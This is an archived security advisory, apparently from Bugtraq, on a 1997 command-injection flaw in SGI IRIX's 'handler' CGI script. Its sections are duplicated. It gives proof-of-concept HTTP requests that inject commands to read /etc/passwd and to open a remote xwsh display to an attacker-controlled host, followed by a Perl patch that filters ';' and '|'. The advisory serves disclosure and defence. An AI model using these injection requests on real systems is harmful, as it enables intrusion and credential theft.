IRIX cgi-bin handler Vulnerability
BID:380
Info
IRIX cgi-bin handler Vulnerability
| Bugtraq ID: | 380 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jun 16 1997 12:00AM |
| Updated: | Jun 16 1997 12:00AM |
| Credit: | This bug was originally posted to the Bugtraq mailing list by Razvan Dragomirescu <[email protected]> on June 16, 1997. |
| Vulnerable: |
SGI IRIX 6.4 SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 5.3 |
| Not Vulnerable: | |
Discussion
IRIX cgi-bin handler Vulnerability
A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.
A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.
Exploit / POC
IRIX cgi-bin handler Vulnerability
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0
or:
telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download
NOTE: large spaces are actually tabs.
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0
or:
telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download
NOTE: large spaces are actually tabs.
Solution / Fix
IRIX cgi-bin handler Vulnerability
Solution:
A suitable patch was posted to Bugtraq:
*** handler.orig Wed Jul 23 20:49:26 1997
--- handler Wed Jul 23 20:55:25 1997
***************
*** 26,31 ****
--- 26,32 ----
$pathRoot = $_[$#_] ;
$doc = $ROOT.$PATH ;
+ $_ = $PATH;
&ErrBadPath unless &ValidPath ; # Check for server spoofing
#__________________________________________________________
***************
*** 108,113 ****
--- 109,117 ----
sub ValidPath
{
+ # suggested by [email protected]
+ if (/[|;]/) { return '' };
+
return 1 unless /\.\./ ;
return '' if /^\.\./ ;
***************
*** 117,120 ****
--- 121,136 ----
return 1 ;
}
+ sub ErrBadPath
+ {
+ print <<ENDOFTEXT ;
+ Content-type: text/html
+ <HEAD><TITLE>404 Not Found</TITLE></HEAD>
+ <BODY><H1>404 Not Found</H1>
+ The requested URL $PATH was not found on this server.<P>
+ </BODY>
+ ENDOFTEXT
+
+ die ;
+ }
Please go to SGI support at http://support.sgi.com> for official patches from Silicon Graphics for this any other vulnerabilities.
Solution:
A suitable patch was posted to Bugtraq:
*** handler.orig Wed Jul 23 20:49:26 1997
--- handler Wed Jul 23 20:55:25 1997
***************
*** 26,31 ****
--- 26,32 ----
$pathRoot = $_[$#_] ;
$doc = $ROOT.$PATH ;
+ $_ = $PATH;
&ErrBadPath unless &ValidPath ; # Check for server spoofing
#__________________________________________________________
***************
*** 108,113 ****
--- 109,117 ----
sub ValidPath
{
+ # suggested by [email protected]
+ if (/[|;]/) { return '' };
+
return 1 unless /\.\./ ;
return '' if /^\.\./ ;
***************
*** 117,120 ****
--- 121,136 ----
return 1 ;
}
+ sub ErrBadPath
+ {
+ print <<ENDOFTEXT ;
+ Content-type: text/html
+ <HEAD><TITLE>404 Not Found</TITLE></HEAD>
+ <BODY><H1>404 Not Found</H1>
+ The requested URL $PATH was not found on this server.<P>
+ </BODY>
+ ENDOFTEXT
+
+ die ;
+ }
Please go to SGI support at http://support.sgi.com> for official patches from Silicon Graphics for this any other vulnerabilities.